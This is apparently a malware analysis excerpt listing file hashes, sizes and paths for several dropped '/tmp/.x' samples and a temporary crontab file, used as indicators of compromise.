- SHA512 1852dd10bbce220df44eb77954eb040952fe4efbd020ee1489581966a90cc7e628e30b51606fbd1f73679c49a26bf5b22be41133bd2fb0136c6629853023b8a5
- SSDEEP 3072:59yopbyy4prMgqj1XegQMuEE9qlrLBkCMguWKucDU:5vJMqj1XegZkJWHkU
- TLSH T10EC312FBD2838F3FD5ECAC366E6B08F7D80F64CA952B452695E4119ED08CA27C649104
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path /tmp/.x
- Size 111KB
- SHA256 4f22e8cae1affbc1ced49f9e242aaed17c5f60059e6864a6bf2fed4945a387eb
- MD5 b2c1363b89d87a9d9a1bdd4e36e198a4
- SHA1 2b0d880e4fb9592acb95ad3ea0ab47564252ca32
- SHA512 4ca9eef7047793503f4102cdd60839fee47e453353f3a7e1ee5a903add90c624ff8c7bf1edf147fc9355f326cd9e0340d42826f739df2456a8d563c03653dc78
- SSDEEP 3072:9yigsIUA16rMWg3qNuw/7zozKaTiWhIzdj:9y2AAm3QuwjzoGaWld
- TLSH T1CAB3123A70509737E8A89172A77C493EA95AD3DA7D32789F4AD4C8C9921C3E31CDDC48
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path /tmp/.x
- Size 122KB
- SHA256 9c2320f071f85cb6157217ed5537d770529a38647639db31822cb141347de249
- MD5 6a37d5fb2d332159f9e61fbab0f60501
- SHA1 3cfb35071fb71b2d80af788df47bc012cf2e094c
- SHA512 8a937044ecb32eb777e9e5f6056b517d31767509475b667d3081b7a5f61f1a55e5cfe97380440f675a4cb5627ca80183d3d73e5ebdc548fb62166729496c3925
- SSDEEP 3072:eXuYvRxKq2S1ke3FG2HgH3PxwGVf/6z7zr4i1uq/bz6md:muYvKq2SOhbXLf/6zH1G4
- TLSH T1BAC312CECFB446E1CEBE1B31091A70F05E4D293E9E1DB738D0A754A85B2719E702A5B0
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path /tmp/.x
- Size 99KB
- SHA256 53a60ff2d829757a828aa915f815921457fa0bdc8f1b3e9fd689682a1f18f8f9
- MD5 7e29dc93533b86d972cf3ffc621cd555
- SHA1 877aeeed784ed95f20e94860d2bf46477cf131a6
- SHA512 064e684a5223d3ea849bf9691b6f78748b00dfe418cdcc38a7b7b3a83fd14ce792151d09636521d9e135942d6fcc780368ee10761b77cc95c0d7ef29c0fff1f8
- SSDEEP 1536:J7tIOtZzjysDNJx2sC32c2CQj6YHabHDA/lNjmYwEy4zi8L9RLqtUJN+e:JtbZNyphJfbj2NjLm29RL/Jh
- TLSH T198A3F1E3C6D5FE7EE677D172D91FF43A420888F259D9641ECE02604DD84A8E390A9E43
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path /var/spool/cron/crontabs/tmp.8JxDPx
- Size 213B
- SHA256 b4a12f08682de970a446884bc2b3790b9660bda08ec9193031c06430561f0aeb
- MD5 402432e194f6f51b675e54c881e1701b
- SHA1 6eb0b08ee2ac5f600effa1efbb8bd5ce82f623a0
- SHA512 ef374d81d509212e0520ecfd1935a74f59cdf75327e211ffb117a71059e276c7beba7b137caea1da7707ae3ee24125147802dcd9ee48e73451e5d206068af590
- TLSH T1FCD0220D6F623A3029844B9621AE2769EC81E86DC08A5E11E1EC3828C30F28C6B41DE3
- MD5 SHA1 SHA512 TLSH